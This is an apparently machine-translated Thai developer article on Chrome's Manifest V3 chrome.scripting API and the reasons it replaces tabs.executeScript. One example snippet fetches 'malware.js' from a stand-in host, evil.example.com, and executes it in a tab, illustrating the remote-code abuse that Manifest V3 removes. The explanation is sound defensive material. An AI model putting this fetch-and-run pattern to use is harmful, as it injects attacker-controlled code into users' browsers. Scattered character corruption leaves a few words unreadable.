Manifest V3 นำเสนอการเปลี่ยนแปลงหลายประการในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้
เราจะมาสำรวจแรงจูงใจและการเปลี่ยนแปลงที่เกิดจากหนึ่งในการเปลี่ยนแปลงที่โดดเด่นที่สุด นั่นก็คือการเปิดตัว chrome.scripting
API
chrome.scripting คืออะไร
ชื่ออาจบอกได้ว���า chrome.scripting
คือเนมสเปซใหม่ที่เปิดตัวในไฟล์ Manifest V3 ซึ่งเป็นผู้รับผิดชอบด้านความสามารถในการแทรกสคริปต์และสไตล์
นักพัฒนาซอฟต์แวร์ที่เคยสร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอดไฟล์ Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript
และ chrome.tabs.insertCSS
เมธอดเหล่านี้ช่วยให้ส่วนขยายสามารถแทรกสคริปต์และสไตล์ชีตลงในหน้าเว็บตามลำดับ ในไฟล์ Manifest V3 ความสามารถเหล่านี้ย้ายไปยัง chrome.scripting
และเราวางแผนที่จะขยาย API นี้พร้อมด้วยความสามารถใหม่บางอย่างในอนาคต
เหตุใดจึงควรสร้าง API ใหม่
ในการเปลี่ยนแปลงแบบนี้ หนึ่งในคำถามแรกๆ ที่มีแนวโน้มว่าจะเกิดขึ้นก็คือ "ทำไม"
ปัจจัยบางประการที่ทำให้ทีม Chrome ตัดสินใจนำเนมสเปซใหม่มาใช้ในการเขียนสคริปต์
ข้อแรก Tabs API เป็นเหมือนคลังเก็บของเล็กๆ น้อยๆ สำหรับฟีเจอร์ต่างๆ อย่างที่ 2 เราต้องทำการเปลี่ยนแปลงที่เสียหาย
กับ API ของ executeScript
ที่มีอยู่ ประการที่สาม เรารู้ว่าต้องการเพิ่มความสามารถในการเขียนสคริปต์
สำหรับส่วนขยาย เมื่อพิจารณารวมกันแล้ว ข้อกังวลเหล่านี้ได้ระบุอย่างชัดเจนถึงความจำเป็นในการใช้เนมสเปซใหม่เพื่อสร้างความสามารถในการเขียนสคริปต์
ลิ้นชักขยะ
ปัญหาหนึ่งที่สร้างความรำคาญให้กับทีมส่วนขยายในช่วง 2-3 ปีที่ผ่านมาคือ chrome.tabs
API มีการใช้งานมากเกินไป เมื่อเปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่ API มีให้จะเกี่ยวข้องกับแนวคิดก���้างๆ ของแท็บเบราว์เซอร์ แต่ถึงจุดนั้นแล้ว คอลเล็กชันนี้ก็เป็นเพียง
ฟีเจอร์มากมายที่สะสมไ���� แ����������่วงห��������ีที่ผ่านมา คอลเล็กชันนี้เติบโตขึ้นเท่านั้น
ในช่วงที่เปิดตัวไฟล์ Manifest V3 นั้น Tabs API ได้เติบโตขึ้นเพื่อให้ครอบคลุมการจัดการแท็บพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนำทางพื้นฐาน การเขียนสคริปต์ และความสามารถอื่นๆ ที่เล็กลง แม้ว่าสิ่งเหล่านี้จะเป็นเรื่องที่สำคัญ แต่อาจเป็นเรื่องยุ่งยากเล็กน้อยสำหรับนักพัฒนาแอปในช่วงเริ่มต้นและสำหรับทีม Chrome ในขณะที่เราดูแลรักษาแพลตฟอร์มและพิจารณาคำขอจากชุมชนนักพัฒนาซอฟต์แวร์
อีกปัจจัยที่ซับซ้อนคือไม่เข้าใจสิทธิ์ tabs
แม้ว่าสิทธิ์อื่นๆ อีกหลายรายการจะจำกัดการเข้าถึง API ที่ระบุ (เช่น storage
) สิทธิ์นี้ค่อนข้างผิดปกติตรงที่ให้สิทธิ์ส่วนขยายเข้าถึงพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์แท็บเท่านั้น (และการขยายจะส่งผลต่อ Windows API ด้วย) เราเข้าใจดีว่านักพัฒนาส่วนขยายหลายรายเข้าใจผิดว่าตนต้องมีสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create
หรือพูดง่ายๆ ก็คือ chrome.tabs.executeScript
การย้ายฟังก์ชันออกจาก Tabs API จะช่วยลดความสับสนนี้ได้
การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ
เมื่อออกแบบไฟล์ Manifest V3 ปัญหาหลักอย่างหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ที่เปิดใช้โดย "โค้ดที่โฮสต์จากระยะไ��ล" ซึ่งเป็นโค้ดที่ถูกเรียกใช้งานแต่ไม่รวมอยู่ในแพ็กเกจส่วนขยาย เป็นเรื่องปกติที่ผู้เขียนส่วนขยายที่ละเมิดจะเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกลเพื่อขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้ไม่ประสงค์ดีจะใช้ความสามารถนี้ได้เช่นกัน แต่ท้ายที่สุด เรารู้สึกว่ามันอันตรายเกินกว่าที่จะคงไว้ตามเดิม
ส่วนขยายจะเรียกใช้โค้ดแบบเลิกรวมกลุ่มได้ด้วย 2 วิธีที่แตกต่างกัน แต่วิธีที่เกี่ยวข้องคือเมธอด chrome.tabs.executeScript
สำหรับไฟล์ Manifest V2 เมธอดนี้ช่วยให้ส่วนขยายเรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมายได้ ซึ่งหมายความว่านักพัฒนาซอฟต์แวร์ที่เป็นอันตรายสามารถดึงสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกลและเรียกใช้สคริปต์ภายในหน้าที่ส่วนขยายเข้าถึงได้ เราทราบดีว่าหากต้องการแก้ไขปัญหาเกี่ยวกับรีโมตโค้ด เราจะต้องยกเลิกฟีเจอร์นี้
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
นอกจากนี้ เรายังต้องการแก้ปัญหาเล็กๆ น้อยๆ อื่นๆ ที่เกี่ยวข้องกับการออกแบบเวอร์ชันไฟล์ Manifest V2 และทำให้ API เป็นเครื่องมือที่มีประสิทธิภาพและคาดการณ์ได้มากยิ่งขึ้น
แม้เราจะสามารถเปลี่ยนลายเซ็นของวิธีนี้ภายใน Tabs API ได้ แต่เราคิดว่าระหว่างการเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบและการเปิดตัวความสามารถใหม่ๆ (จะอธิบายในส่วนถัดไป) การพักอย่างเป็นระเบียบจะง่ายขึ้นสำหรับทุกคน
ขยายความสามารถในการเขียนสคริปต์
ข้อควรพิจารณาอีกอย่างหนึ่งในการพิจารณาออกแบบไฟล์ Manifest V3 คือความต้องการที่จะแนะนำความสามารถ��พิ่มเติมของการเขียนสคริปต์ในแพลตฟอร์มส่วนขยายของ Chrome โดยเฉพาะอย่างยิ่ง เราต้องการเพิ่มการรองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript
การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่มีมาอย่างยาวนานใน Chromium ปัจจุบัน
ส่วนขยาย Chrome ไฟล์ Manifest V2 และ V3 จะประกาศสคริปต์เนื้อหาแบบคงที่ได้เฉพาะในไฟล์ manifest.json
เท่านั้น แพลตฟอร์มไม่ได้ให้วิธีลงทะเบียนสคริปต์เนื้อหาใหม่ ปรับการลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาระหว่างรันไทม์
แม้เราจะรู้ดีว่าเราต้องการจัดการกับคำขอฟีเจอร์นี้ในไฟล์ Manifest V3 แต่ API ที่มีอยู่ของเราทั้งหมดก็ไม่รู้สึกว่าเป็นบ้านหลังที่ถูกต้องเลย เรายังพิจารณาการใช้ Content Scripts API ให้สอดคล้องกับ Firefox ด้วย แต่ในช่วงแรกๆ เราพบข้อเสียหลัก 2 ประการของวิธีการนี้
ก่อนอื่น เราทราบว่าอาจมีลายเซ็นที่ใช้ร่วมกันไม่ได้ (เช่น ลดการรองรับพร็อพเพอร์ตี้ code
) ประการที่ 2 API ของเรามีชุดข้อจำกัดในการออกแบบที่ต่างออกไป (เช่น ต้องลงทะเบียนเพื่อให้ใช้งานได้เกินอายุการใช้งานของ Service Worker) สุดท้าย เนมสเปซนี้ยังเป็นการแสวงหาประโยชน์จาก
ฟังก์ชันการทำงานของสคริปต์เนื้อหา ซึ่งเรากำลังพิจารณาเกี่ยวกับการเขียนสคริปต์ในส่วนขยายให้กว้างขึ้นอีกด้วย
ในด้านหน้าของ executeScript
เราต้องการขยายความสามารถของ API นี้นอกเหนือจากที่เวอร์ชัน API ของแท็บรองรับ กล่าวอย่างเจาะจงก็คือ เราต้องการรองรับฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เจาะจง และกำหนดเป้าหมายบริบทที่ไม่ใช่ "แท็บ" ได้ง่ายขึ้น
นับจากนี้ไป เราจะพิจารณาวิธีที่ส่วนขยายสามารถโต้ตอบกับ PWA ที่ติดตั้งและบริบทอื่นๆ ที่ไม่ได้จับคู่กับ "แท็บ" ในเชิงแนวคิด
การเปลี่ยนแปลงระหว่างtab.exeผลิตภัณฑ์ทั้งหมด Script และ Scripting.executeScript
ในช่วงเวลาที่เหลือของโพสต์นี้ เราอยากจะดูรายละเอียดความคล้ายคลึงและความแตกต่างระหว่าง chrome.tabs.executeScript
และ chrome.scripting.executeScript
อย่างละเอียด
การแทรกฟังก์ชันที่มีอาร์กิวเมนต์
ขณะพิจารณาว่าแพลตฟอร์มจะต้องพัฒนาไปอย่างไรเนื่องด้วยข้อจำกัดเกี่ยวกับโค้ดที่โฮสต์จากระยะไกล เราอยากหาสมดุลระหว่างพลังดิบของการเรียกใช้โค้ดที่กำหนดเองกับการอนุญาตเฉพาะสคริปต์เนื้อหาแบบคงที่ โซลูชันที่เราใช้คือการอนุญาตให้ส่วนขยายแทรกฟังก์ชันเป็นสคริปต์เนื้อหาและส่งอาร์เรย์ค่าเป็นอาร์กิวเมนต์
มาดูตัวอย่างสั้นๆ (ที่เข้าใจง่ายขึ้น) กัน สมมติว่าเราต้องการแทรกสคริปต์ทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มการทำงานของส่วนขยาย (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นในหน้าปัจจุบัน
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
แม้ว่าส่วนขยายไฟล์ Manifest V3 จะใช้โค้ดที่ไม่ได้มาพร้อมกับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการรักษาการเปลี่ยนแปลงบางอย่างที่เปิดใช้การบล็อกโค้ดที่กำหนดเองสำหรับส่วนขยายที่ใช้ไฟล์ Manifest V2 แนวทางด้านฟังก์ชันและอาร์กิวเมนต์ช่วยให้ผู้ตรวจสอบ ผู้ใช้ และฝ่ายที่สนใจอื่นๆ ของ Chrome เว็บสโตร์ประเมินความเสี่ยงที่ส่วนขยายมีได้อย่างแม่นยำยิ่งขึ้น ในขณะเดียวกันก็ช่วยให้นักพัฒนาซอฟต์แวร์ปรับเปลี่ยน���ารทำงานรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะของแอปพลิเคชันได้
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
เฟรมการกำหนดเป้าหมาย
เรายังอยากปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้วด้วย ไฟล์ Manifest V2 เวอร์ชัน executeScript
ช่วยให้นักพัฒนาซอฟต์แวร์กำหนดเป้าหมายเฟรมทั้งหมดในแท็บหรือเฟรมที่เฉพาะเจาะจงในแท็บได้ คุณใช้ chrome.webNavigation.getAllFrames
เพื่อดูรายการเฟรมทั้งหมดในแท็บได้
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
ในไฟล์ Manifest V3 เราแทนที่พร็อพเพอร์ตี้ที่เป็นจำนวนเต็ม frameId
ที่ไม่บังคับในออบเจ็กต์ตัวเลือกด้วยอาร์เรย์ frameIds
(ไม่บังคับ) ของจำนวนเต็ม ซึ่งช่วยให้นักพัฒนาแอปกำหนดเป้าหมายหลายเฟรมได้ในการเรียก API เดียว
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
ผลของการแทรกสคริปต์
นอกจากนี้เรายังได้ปรับปรุงวิธีแสดงผลการแทรกสคริปต์ในไฟล์ Manifest V3 อีกด้วย โดยทั่วไปแล้ว "ผลลัพธ์"
คือคำสั่งสุดท้ายที่ประเมินในสคริปต์ ให้คิดว่าเหมือนกับค่าที่ส่งกลับเมื่อเรียกใช้ eval()
หรือเรียกใช้บล็อกโค้ดในคอนโซล Chrome DevTools แต่จะมีการทำให้เป็นอนุกรมเพื่อส่งต่อผลลัพธ์ในกระบวนการต่างๆ
ในไฟล์ Manifest V2 นั้น executeScript
และ insertCSS
จะแสดงผลอาร์เรย์ของผลการดำเนินการแบบธรรมดา
การทำเช่นนี้ถือว่าไม่เสียหายหากคุณมีจุดฉีดเดียว แต่ไม่รับประกันว่าผลลัพธ์ของลำดับเมื่อแทรกลงในหลาย���ฟรม จึงไม่มีทางบอกได้ว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด
ลองดูตัวอย่างที่ชัดเจนจากอาร์เรย์ results
ที่แสดงผลโดยไฟล์ Manifest V2 และไฟล์ Manifest V3 ของส่วนขยายเดียวกัน ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกสคริปต์เนื้อหาเดียวกัน และเราจะเปรียบเทียบผลลัพธ์ในหน้าสาธิตเดียวกัน
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
เมื่อเรียกใช้ไฟล์ Manifest V2 เวอร์ชัน 2 เราจะได้อาร์เรย์ [1, 0, 5]
กลับมา ผลลัพธ์ใดสอดคล้องกับเฟรมหลัก
และผลลัพธ์ใดสำหรับ iframe ค่าผลลัพธ์ไม่ได้บอกอะไรเรา เราจึงไม่ทราบแน่ชัด
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
ในไฟล์ Manifest V3 เวอร์ชัน results
ตอนนี้ results
มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนที่จะเป็นอาร์เรย์ที่มีเฉพาะผลการประเมิน และออบเจ็กต์ผลลัพธ์ระบุรหัสของเฟรมสำหรับผลลัพธ์แต่ละรายการอย่างชัดเจน ซึ่งช่วยให้นักพัฒนาแอปใช้ผลลัพธ์และดำเนินการกับเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้น
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
สรุป
การยกตัวขึ้นของเวอร์ชันไฟล์ Manifest เป็นโอกาสที่หาได้ยากในการคิดใหม่และปรับเปลี่ยน API ส่วนขยายให้ทันสมัย เป้าหมายของ Manifest V3 ของเราคือการปรับปรุงประสบการณ์ของผู้ใช้ปลายทางโดยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น ขณะเดียวกันก็ปรับปรุงประสบการณ์การใช้งานของนักพัฒนาซอฟต์แวร์ด้วย การเปิดตัว chrome.scripting
ในไฟล์ Manifest V3 ทำให้เราสามารถช่วยจัดระเบียบ Tabs API เปลี่ยนโฉม executeScript
ให้เป็นแพลตฟอร์มส่วนขยายที่ปลอดภัยมากขึ้น รวมถึงวางรากฐานสำหรับความสามารถในการเขียนสคร��ปต์แบบใหม่ที่จะเปิดตัวภายในปีนี้